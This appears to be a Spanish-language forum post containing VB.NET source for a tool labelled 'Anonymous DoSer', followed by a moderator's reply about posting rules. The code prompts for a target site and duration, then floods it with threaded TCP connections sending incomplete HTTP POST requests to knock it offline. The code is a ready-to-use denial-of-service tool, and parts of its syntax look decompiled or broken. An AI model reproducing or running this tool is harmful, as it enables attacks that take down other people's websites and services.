Private Shared Sub Main(ByVal args As String())
    Console.ForegroundColor = ConsoleColor.Yellow
    Console.WriteLine(ChrW(10) & "             .oOo.------------.[ Anonymous DoSer ].------------.oOo." & ChrW(10))
    Console.WriteLine("             .oOo.------------.[ Anonymous DoSer ].------------.oOo." & ChrW(10))
    Console.ForegroundColor = ConsoleColor.Magenta
    Console.Write("Website [URL/IP] : ")
    Dim website As String = Console.ReadLine
    Console.Write("Time [SECONDS] : ")
    Dim s As String = Console.ReadLine
    Console.Write(ChrW(10))
    Dim count As Integer = 1
    Dim loop As Boolean = True
    New Thread(Function
        Dim start As ThreadStart = Nothing
        Dim clients As New List(Of TcpClient)()
        Do While [loop]
            If (start Is Nothing) Then
                start = Function
                    Dim item As New TcpClient()
                    clients.Add(item)
                    Try
                        item.Connect(website, 80)
                        Dim writer As New StreamWriter(item.GetStream)
                        writer.Write(("POST / HTTP/1.1" & ChrW(13) & ChrW(10) & "Host: " & website & ChrW(13) & ChrW(10) & "Content-length: 5235" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10)))
                        writer.Flush
                        If [loop] Then
                            Console.ForegroundColor = ConsoleColor.Green
                        End If
                        Console.WriteLine(("Server Is Up / Packets sent: " & count))
                        count += 1
                    Catch exception1 As Exception
                        If [loop] Then
                            Console.ForegroundColor = ConsoleColor.Red
                        End If
                        Console.WriteLine("DoS Succeeded, Server Down!")
                    End Try
                End Function
            End If
            New Thread(start).Start
            Thread.Sleep(50)
        Loop
        Dim client As TcpClient
        For Each client In clients
            Try
                client.GetStream.Dispose
            Catch exception1 As Exception
            End Try
        Next
    End Function).Start
    Thread.Sleep(CInt((Integer.Parse(s) * &H3E8)))
    [loop] = False
    Console.WriteLine(ChrW(10) & "DoS Completed")
    Console.WriteLine("Press any key to Close...")
    Console.ReadKey
End Sub
 
 
 
 
 
PD: Imports System.Threading
      Imports System.Net.Sockets
      Imports System.IO

Mod: los códigos deben ir en etiquetas GeSHi

Además, las preguntas consideradas de mala calidad (sin ni siquiera un maldito párrafo donde expliques el problema que tengas) suelen ser ignoradas por la mayoría de usuarios, pon de tu parte, esfuérzate un poco, y entonces quizás los demás hagamos lo mismo por tí.

Este es un foro de calidad, un lugar de información, donde hay que seguir unas normas de comportamiento y de publicación.

Si quieres tener una segunda oportunidad, te sugiero que hagas caso de lo que te ha comentado el compañero @Engel Lex, y además apliques los consejos que puedes leer aquí:


Saludos!